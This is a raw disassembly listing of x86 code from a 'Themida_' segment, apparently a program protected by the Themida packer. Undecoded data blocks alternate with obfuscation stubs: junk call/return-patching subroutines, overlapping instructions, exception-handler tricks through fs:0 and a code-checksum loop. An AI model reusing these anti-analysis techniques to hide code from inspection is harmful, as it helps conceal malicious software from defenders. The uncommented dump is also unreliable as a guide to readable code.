dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0CDEAAF03h, 59589A3h, 0FF060B07h, 0B0F1595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 9ABD49E1h, 6CC2FFB2h, 0DFBF0FA7h, 0FE996h
dd 0B52D0000h, 9F9C7F83h, 4D75D63h, 3D5D41F2h, 0B7515034h
dd 0B7965B83h, 1DB5FFABh, 6A060EA8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 68E9C357h
dd 0C229F84Dh, 0E9A87D66h, 7, 0F9312C7Ch, 0FF81A549h, 0B00F595h
dd 1DBD0106h, 83060B29h, 0B2191BDh, 840F0006h, 15h, 192D9501h
dd 0BF50060Bh, 465048BAh, 89243489h, 0B0435BDh, 1DB5FF06h
dd 66060EA8h, 734AEF81h, 128195FFh, 0E7B3060Bh, 0A81DB5FFh
dd 0FBBF060Eh, 0FF2FB5ABh, 0B0B8D95h, 0F1BD8306h, 2060B17h
dd 3D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 5051F0C3h, 5B5B5F51h, 2EC5858Bh
dd 0BD8B060Bh, 60B13C1h, 0F0000C6h, 68Dh, 72EF8100h, 0C71B1B6Ah
dd 0B06B985h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0BF71625Fh, 0ACAC28D3h
dd 0F489E9D0h, 8166FFFFh, 8BEA8ADFh, 0D78166C1h, 858DE6B7h
dd 60B28A9h, 7E9h, 2B047E00h, 65B8BABEh, 24048950h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0A5C35040h, 94C4D614h
dd 6ADE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0F4C35747h, 931DCE0h, 880D33F4h, 10E9h, 0A4FB0B00h
dd 3F46F8D4h, 0B06C45C0h, 0D7363A92h, 0B5BD2BB7h, 6A060B27h
dd 21BD0B00h, 8D060B27h, 0FAFAB85h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5EC1C252h
dd 0F7C603ADh, 8A0FFE8Bh, 6, 293D9D8Bh, 0C083060Bh, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0B5895F77h, 60B2EF9h, 830F5790h, 0Bh, 6E9h, 3A4EAE00h
dd 5B9454FAh, 0B8C0F50h, 50000000h, 0BF310F52h, 54F02B9Fh
dd 0BF90585Ah, 6D832311h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 9BA5EBC3h, 0BD0B4C55h
dd 60B29FDh, 6AD98Bh, 0FFF8BF0Fh, 0B2F2195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 68524FFEh, 0E1BF914Ch, 810D39B1h, 3351D1D3h, 0B08D8D2Ah
dd 66060EA7h, 0D1FFD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 91C35141h, 73A4F8D2h, 19E1089Ah, 30BCBF66h
dd 13E8h, 0C45B1D00h, 1CED597Bh, 965903Ah, 9D24F3A0h, 576C929Ah
dd 9688BB66h, 19BD835Bh, 1060B0Bh, 0AD850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 977B4AC3h, 9874E1FDh, 0DF8B6643h, 6A026Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A5D089C3h
dd 0B575F652h, 9096EDDBh, 0B0BB6651h, 50505BB4h, 8B310F52h
dd 90585AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0F1C35646h, 0EA01D065h, 13399D31h, 9D01060Bh, 60B2099h
dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0E98293C3h, 0DCAh, 0E8h, 0ED815D00h
dd 60FAFB5h, 1A6DB501h, 0B70F060Bh, 51BB66D8h, 93858D69h
dd 6A060E92h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0F200C352h, 60CBFE05h, 4810Fh
dd 0BF660000h, 0CE81D747h, 254957DFh, 0AE99061h, 49000000h
dd 6A9CFC09h, 0C03223CDh, 0BB6650FEh, 8B90D169h, 0B2F49BDh
dd 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5870D3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5870D3 proc near ; CODE XREF: Themida_:005870CBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5870D3 endp
; ---------------------------------------------------------------------------
db 0Ch
; ---------------------------------------------------------------------------
or eax, 0E2C7C5DBh
jg loc_5870F1
mov bh, 0FCh
loc_5870F1: ; CODE XREF: Themida_:005870E9j
mov large fs:0, esp
jns loc_587104
mov [ebp+60B2809h], esi
loc_587104: ; CODE XREF: Themida_:005870F8j
inc dword ptr [ebp+60B066Dh]
mov [ebp+60B0209h], edi
push 0FFFFFFFFh
add edi, [ebp+60B2F51h]
push dword ptr [ebp+60B1A31h]
movsx edi, si
call dword ptr [ebp+60B2411h]
jmp loc_58721C
; ---------------------------------------------------------------------------
dd 2F61BD29h, 0B0060Bh, 3819D8Bh, 70E6060Bh, 0DDBD2960h
dd 89060B0Ch, 0B174585h, 71E46106h, 15DDBD01h, 613C060Bh
dd 0C2830Fh, 8B660000h, 0C8B60FFAh, 6BAh, 29605100h, 0B2045BDh
dd 8B5F6106h, 0C10AB3C1h, 9D2904E8h, 60B288Dh, 8BE2F766h
dd 0B02C1BDh, 0FC82B06h, 689h, 57D38100h, 8B4481D6h, 0F1BB66D1h
dd 7EE945h, 858B0000h, 8, 33559D8Bh, 0C083060Bh, 0F99D8B07h
dd 8B060B23h, 0B0619BDh, 0C08306h, 11E952h, 167D0000h
dd 3F3B1A05h, 8AF35E6Fh, 852E070Eh, 5BC9C013h, 830FD03Bh
dd 11h, 0B5958956h, 5B060B06h, 33E9h, 65BB6600h, 0FF8D8B69h
dd 53FFFFFFh, 32E59D89h, 835B060Bh, 840F01E1h, 18h, 0C65ABF66h
dd 0FFFFA583h, 89FEFFFFh, 895h, 0E9ABB300h, 0
; ---------------------------------------------------------------------------
loc_58721C: ; CODE XREF: Themida_:00587127j
lea esi, [ebp+60F3049h]
push 0
push ebx
call sub_58722D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58722D proc near ; CODE XREF: Themida_:00587225p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_58722D endp
; ---------------------------------------------------------------------------
sbb [ebx], al
add ebp, [edx+0]
push 0
push esi
call sub_58724D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58724D proc near ; CODE XREF: Themida_:00587245p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58724D endp
; ---------------------------------------------------------------------------
adc eax, 95893804h
icebp
or al, 0Bh
push es
call dword ptr [ebp+60B32DDh]
push 0
push edi
call sub_587277
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587277 proc near ; CODE XREF: Themida_:0058726Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_587277 endp
; ---------------------------------------------------------------------------
db 0DBh
dd 1BCB8031h, 0BB5B589h, 0D5B9060Bh, 6600000Eh, 0E183DF8Bh
dd 0ADBD8BFCh, 0FC060B29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 69C35545h, 43A7078Dh, 0DDF04C19h, 0E9BB6667h
dd 12E9C7h, 66120000h, 0A7781D0Dh, 998E266Ah, 5C92AA93h
dd 0F2B8E199h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0BD230085h, 60B07A1h
dd 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0B8E717ACh, 9D896F08h, 60B21E9h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 986CBF66h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 45C35545h, 0DCB5FCF0h
dd 66D9B70Fh, 0D4BE7BFh, 88h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0D8C35242h, 11222462h, 0C933F042h
dd 0C18D8978h, 8B060B19h, 0B174D95h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 29C187F9h
dd 71207969h, 8D8BFC8Ah, 60B0119h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0DBC35545h, 8DE341C0h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0E8B35818h, 81858951h
dd 5B060B24h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 5EC35545h, 0DED69E83h, 0D893476Ah, 850F60B0h, 6
dd 8C0Fh, 8B660000h, 9D8B61FAh, 60B2949h, 29BDBD83h, 0F00060Bh
dd 6C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0A7BBB34Ch, 19671577h, 0EB3DBB58h
dd 0B86941h, 23000000h, 0B035D9Dh, 0D78D8D06h, 33060B4Dh
dd 0B31A19Dh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0C6F1C355h, 3984D245h
dd 8BFC5B52h, 0B16A59Dh, 9BD8306h, 60B10h, 4BA840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 71C88C3h, 7C3AEDCh, 9D29FECDh, 60B1A2Dh, 1009BD83h
dd 0F01060Bh, 49E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 9D8BFDA1h, 60B0BB1h, 1009BD83h
dd 0F03060Bh, 43886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 5752AD0Ch, 5BDE8B66h
dd 0FBB70F5Fh, 38F0F60h, 80000000h, 8C6633C3h, 0B7DF81D9h
dd 807119ABh, 9D2304E1h, 60B1341h, 840FC90Ah, 146h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h
dd 0FE8C06Ch, 0A8Dh, 4860F00h, 66000000h, 8BB29CBBh, 0B317D85h
dd 17D78106h, 0E8300D31h, 12h, 4AB054E6h, 4C91E2D6h, 7BBF89E8h
dd 7EB85DCAh, 8D89AD32h, 60B0DDDh, 0ED85335Bh, 0F9060B06h
dd 4EBA6090h, 8B1C3ADAh, 8B5061FEh, 6AF990FBh, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 8D89600Fh, 60B0B91h, 5318D8Bh, 6061060Bh, 6810Fh, 8D890000h
dd 60B13D5h, 6890Fh, 9D8B0000h, 60B2E61h, 22476861h, 0B5BB79E9h
dd 813A7C83h, 21B82434h, 6A79F6h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0BEFDC2C3h, 0C65C1114h
dd 0BD8904DAh, 60B3331h, 0E959589h, 95FF060Bh, 60B03D1h
dd 25DF8166h, 1D8589EFh, 6A060EA8h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DAC7C356h
dd 333106CBh, 5850F60h, 0BE000000h, 17AC4499h, 0DAEF8166h
dd 13E9618Bh, 0F000002h, 858BDBBFh, 60EA815h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 52C35343h, 0FB828D52h
dd 0FEFBF5Dh, 0D9D0125h, 0C7060B2Ah, 1800h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0AF89788Fh, 38F0Fh, 0B70F0000h, 19B58BF9h, 6A060EA8h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 7D5CC351h, 0F1A0516h, 8166FAB7h, 0E96698DBh
dd 0Eh, 5C4285A7h, 0C34120E9h, 0D0CD99C0h, 858BA979h, 60B06E1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7FC35141h
dd 840F5489h, 3, 89DF8B66h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3CFEBCBCh
dd 666C7171h, 814EA8BBh, 418BD3DBh, 7D858B67h, 6A060B31h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 3D06C351h, 0B6121DEFh, 9D29E98Eh, 60B26E1h
dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 7FFAC357h, 2860F60h, 0B4000000h
dd 12E960h, 41400000h, 44B5F63h, 0C7226A6h, 69883918h
dd 508C00AAh, 0DA8B9661h, 5D6DBB50h, 6A967720h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 8851C353h, 0A815B5FFh, 850F060Eh, 2, 0C768D88Bh, 50693754h
dd 28B0F52h, 8B000000h, 5A310FF8h, 24348158h, 69285738h
dd 29F960F9h, 0B06A5B5h, 858D6106h, 60EA81Dh, 1B59BF66h
dd 89DE8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8B6016C3h, 0B0B6D95h, 0A1858B06h
dd 61060B27h, 1A55B589h, 95FF060Bh, 60B03D1h, 331BD89h
dd 6A61060Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 9FD6C356h, 78CB69BFh, 985C759h
dd 3060B10h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0FE90C350h, 12D9BD01h
dd 0BD83060Bh, 60EA81Dh, 3A840F00h, 89000000h, 0B14C9BDh
dd 4AE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0BE252EC3h, 1001368Ch, 6810F53h
dd 8B000000h, 0B2A119Dh, 0C305006h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0D1CF8166h, 0BE873h, 22DF0000h
dd 0ED18204Ah, 825DC465h, 10E9ABh, 98750000h, 0C71FF75Ah
dd 2740F37Ch, 836E95B5h, 835FF7EEh, 0B1009BDh, 850F0306h
dd 3E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 49C35242h, 39610A95h, 8B82F257h, 0B01959Dh, 83FEB306h
dd 0EA81DBDh, 840F0006h, 3ABh, 2D89BD8Bh, 0B5FF060Bh, 60EA81Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FEC35545h
dd 0A06BEF5Bh, 0FFFD8A85h, 0B083D95h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0A81148D9h, 0C73BC27Ch
dd 79BD2348h, 8B060B1Bh, 0EA811B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0F9C0F70h
dd 0C7AF5C08h, 1000106h, 8B609600h, 0F7BF66CFh, 0BF506163h
dd 52F0E3ABh, 1DB5FF96h, 6A060EA8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B48C350h
dd 0B2125BDh, 256FBF06h, 95FF0F13h, 60B0641h, 3CDB8166h
dd 11B58B78h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 6A17C357h, 0E2B756B6h
dd 0E0A9D7A8h, 0DEFD5BFh, 1D858B79h, 6A060B12h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 7342C355h, 6FEF9FF8h, 0AAB860CEh, 8168568Fh, 83B7D4F6h
dd 9D036111h, 60B2439h, 0C48689h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 4D103BC3h
dd 801C6DB0h, 958BC5E3h, 60B174Dh, 83DFB70Fh, 816604C2h
dd 896AD8EFh, 0BD012050h, 60B1E8Dh, 0BAEE858Dh, 0BD89060Eh
dd 60B05E1h, 0B88689h, 95310000h, 60B2101h, 32D99D8Bh
dd 6A060Bh, 6810Fh, 0BD8B0000h, 60B2B69h, 0A81DB5FFh, 0BD8B060Eh
dd 60B1921h, 0F1595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 771284C3h, 0EE95096h
dd 0D7000000h, 0C443050h, 6C68720Ah, 1B45F985h, 243489C7h
dd 58C0Fh, 28BB0000h, 0FF22CA0Ah, 0EA81DB5h, 12E806h, 85690000h
dd 1580C094h, 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah, 1B75BF66h
dd 0F595FF5Fh, 0B7060B00h, 6820F49h, 8B000000h, 0B0B959Dh
dd 91BD8306h, 60B21h, 53840Fh, 96F90000h, 13E9h, 0DF6CDA00h
dd 353CA2E8h, 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0BE850h
dd 0F600000h, 97A6670Ch, 8B86977Eh, 5BDA8BC5h, 50006A96h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 3A6AADFh, 0B01999Dh, 1DB5FF06h, 6A060EA8h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 121C351h, 6FAF6EC9h, 840FF88Bh, 4, 46CBF66h, 128195FFh
dd 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 344745C3h, 90D5D4FFh, 0FBBF0FB6h, 0A81DB5FFh
dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 3E590AC3h, 729F2589h, 6614E2ABh, 0BDDDD781h
dd 0FFD88B66h, 0B0B8D95h, 2BBB6606h, 0F1BD8323h, 2060B17h
dd 59840Fh, 0DA8B0000h, 2EC5858Bh, 6A060Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 33A958C3h
dd 0D19EC490h, 28D0F79h, 8B000000h, 0C6F9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 36C35545h, 0C7D40112h
dd 0C74E8F9Bh, 0B06B985h, 6, 4DB53100h, 0E9060B05h, 0FFFFF330h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 72C35545h
dd 365B376Ch, 0A7153756h, 0DE9h, 0C1814700h, 2019DF63h
dd 91A5D951h, 0C18B3F8Dh, 63D9529h, 858D060Bh, 60B28A9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h
dd 0E9BEC7C1h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h
dd 0FE8B664Fh, 89DF8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0E4B90DC3h, 633CF005h
dd 5E9F768h, 0F9000000h, 0ABF7369Ah, 0B960006Ah, 0C81F7A0h
dd 33B9BD01h, 6A61060Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0DE013CAEh, 0BFBA858Dh
dd 0AE8060Fh, 46000000h, 0C7DA1BF2h, 0BC2554F1h, 0C1BD8B31h
dd 5F060B2Eh, 0E805C083h, 9, 5A60AB08h, 0CDFB0EFh, 0D98B66D7h
dd 0DE8905Bh, 1E000000h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh
dd 0BE9h, 5B28F800h, 3A2FEAE1h, 6043E021h, 8990505Fh, 0B0B51BDh
dd 0BF006A06h, 6ABDCF03h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 8B272AC3h, 0B2181BDh
dd 2195FF06h, 6A060B2Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 2EAEC352h, 0CC98D89h
dd 8D8D060Bh, 60EA7B0h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0C2C35141h, 0F93DC087h, 0FE9B0CDh, 84000000h
dd 571567D1h, 4EE1577Eh, 0F03BA54Bh, 0D1FF9352h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h, 98390842h
dd 225D9D0Bh, 8E9060Bh, 9F000000h, 43DE2110h, 83D7AF86h
dd 0B0B19BDh, 850F0106h, 6Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 9AC35040h, 89576C92h, 0B02F98Dh
dd 6A026A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 7A8FC356h, 0B8DC5998h, 0CFBF7D27h
dd 28F0F50h, 0B3000000h, 240489D8h, 289D9D89h, 95FF060Bh
dd 60B0F15h, 8BD38B60h, 0B1741B5h, 0E0E96106h, 0E800000Ch
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60FBFC4h
mov ebx, [ebp+60B02A9h]
sub [ebp+60B0FEDh], ecx
xor bx, 94F6h
lea eax, [ebp+60E9293h]
push 0
push ecx
call sub_588091
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588091 proc near ; CODE XREF: Themida_:00588089p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_588091 endp
; ---------------------------------------------------------------------------
db 0F8h, 63h, 84h
; ---------------------------------------------------------------------------
test al, 79h
adc [edi], ecx
add dword ptr [esi], 89000000h
popf
mov [ecx], ebp
or eax, [esi]
jmp loc_5880C5
; ---------------------------------------------------------------------------
dd 9F184229h, 75C11BCFh, 0F40DC726h
; ---------------------------------------------------------------------------
pop ss
loc_5880C5: ; CODE XREF: Themida_:005880B3j
push eax
mov edi, 24C69531h
mov [esp], eax
push 0
push esi
call sub_5880D9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5880D9 proc near ; CODE XREF: Themida_:005880D1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5880D9 endp
; ---------------------------------------------------------------------------
or byte ptr [ebp-574E65CEh], 1Ch
daa
mov edi, edx
push ebx
stc
pop ebx
push large dword ptr fs:0
mov [ebp+60B13E5h], eax
mov large fs:0, esp
push 0
push edx
call sub_588115
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588115 proc near ; CODE XREF: Themida_:0058810Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_588115 endp
; ---------------------------------------------------------------------------
db 7Ch, 0BBh, 0FEh
dd 0E9FACEA1h, 0Ah, 3D872501h, 3C1F26h, 85FF406Eh, 60B066Dh
dd 0C718D89h, 0FF6A060Bh, 0D9B5FFFCh, 0E9060B0Eh, 0Ah
dd 0B805DC74h, 142CB156h, 95FFC0DFh, 60B2411h, 123E9h
dd 0D3816600h, 0B064BFh, 3059D8Bh, 70E6060Bh, 8A59D8Bh
dd 0BD01060Bh, 60B1789h, 858971E4h, 60B2E71h, 613C69B7h
dd 0F6830Fh, 0FC8A0000h, 0BAC8B60Fh, 6, 89C18BF5h, 0B240D95h
dd 4E8C106h, 661ECB80h, 9D31E2F7h, 60B0C75h, 0DE9h, 89DF200h
dd 753736DAh, 1800B63Ch, 0C82BD9CDh, 21018589h, 0D18B060Bh
dd 0E9F9B70Fh, 0B0h, 1765BD8Bh, 858B060Bh, 1, 68A0Fh, 0B5890000h
dd 60B0571h, 0E807C083h, 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h
dd 8991520Eh, 0B14C195h, 0B9605F06h, 1A97955Ah, 12E9h
dd 0AFCE3C00h, 9A5B2BCFh, 2A8202E0h, 0A4C0589Ch, 6172797Bh
dd 6000C083h, 0F598D89h, 0BF0F060Bh, 0D03B61D8h, 0E830Fh
dd 0B5890000h, 60B0139h, 3BE9h, 5BFC5000h, 0FFFF8D8Bh
dd 9D8BFFFFh, 60B0CDDh, 0F01E183h, 2384h, 0C3816600h, 0A583B3E9h
dd 0FFFFFFFFh, 3D9D8BFEh, 89060B10h, 195h, 0BD9D0B00h
dd 0E9060B08h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+60F3F1Eh]
ja loc_5882A4
ja loc_5882A4
jbe $+6
loc_5882A4: ; CODE XREF: Themida_:00588292j
; Themida_:00588298j
push 0
push 0
push ebx
call sub_5882B1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5882B1 proc near ; CODE XREF: Themida_:005882A9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5882B1 endp
; ---------------------------------------------------------------------------
sbb [eax+66h], esi
sbb ebx, 0BF0FA81Dh
sti
call dword ptr [ebp+60B32DDh]
mov [ebp+60B285Dh], ebx
mov ecx, 1093h
push 0
push edx
call sub_5882E7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5882E7 proc near ; CODE XREF: Themida_:005882DFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5882E7 endp
; ---------------------------------------------------------------------------
db 4Ch
; ---------------------------------------------------------------------------
add [ebp+60B0EE9h], esi
and ecx, 0FFFFFFFCh
push 0
push ebp
call sub_58830C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58830C proc near ; CODE XREF: Themida_:00588304p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_58830C endp
; ---------------------------------------------------------------------------
movsx esp, word ptr [ecx]
jnb short near ptr loc_588321+1
loc_588321: ; CODE XREF: Themida_:0058831Fj
sub eax, ebp
pop ss
mov [ebp+60B327Dh], esi
cld
push 0
push edx
call sub_588336
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588336 proc near ; CODE XREF: Themida_:0058832Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_588336 endp
; ---------------------------------------------------------------------------
and eax, 0B7CDB693h
or dword ptr [edi], 0FFFFFFBFh
sti
sub eax, eax
and ebx, [ebp+60B003Dh]
mov edx, 0
movzx edi, bx
loc_58835F: ; CODE XREF: Themida_:00588369j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_58835F
mov di, 0E1A9h
push 0
push ebp
call sub_58837A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58837A proc near ; CODE XREF: Themida_:00588372p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_58837A endp
; ---------------------------------------------------------------------------
dw 7F3Fh
dd 0BB1B1978h, 6EBF6E8Fh, 0D135EECh, 88h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 71C35646h, 0FDBD8B82h
dd 8B060B03h, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0D593F24Eh, 53E311C5h
dd 3AC38166h, 8D8B5B06h, 60B0119h, 319BD8Bh, 8B50060Bh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 3179BD8Bh
dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 612F97C3h, 8392DB24h, 0B29BDBDh, 840F0006h
dd 77h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
dd 6FC35040h, 7BE89E3Dh, 255FFDFDh, 2989BD8Bh, 8166060Bh
dd 0B82157DBh, 0
dd 21B58D89h, 8D8D060Bh, 60B4DD7h, 0DE8h, 0E100B500h, 55DF4FA1h
dd 0FECB52D8h, 0FF5B9B31h, 51006AE1h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8ABBAB45h
dd 833B8A14h, 0B1009BDh, 840F0006h, 420h, 5880Fh, 81660000h
dd 83127FCFh, 0B1009BDh, 840F0106h, 423h, 0E851006Ah, 3
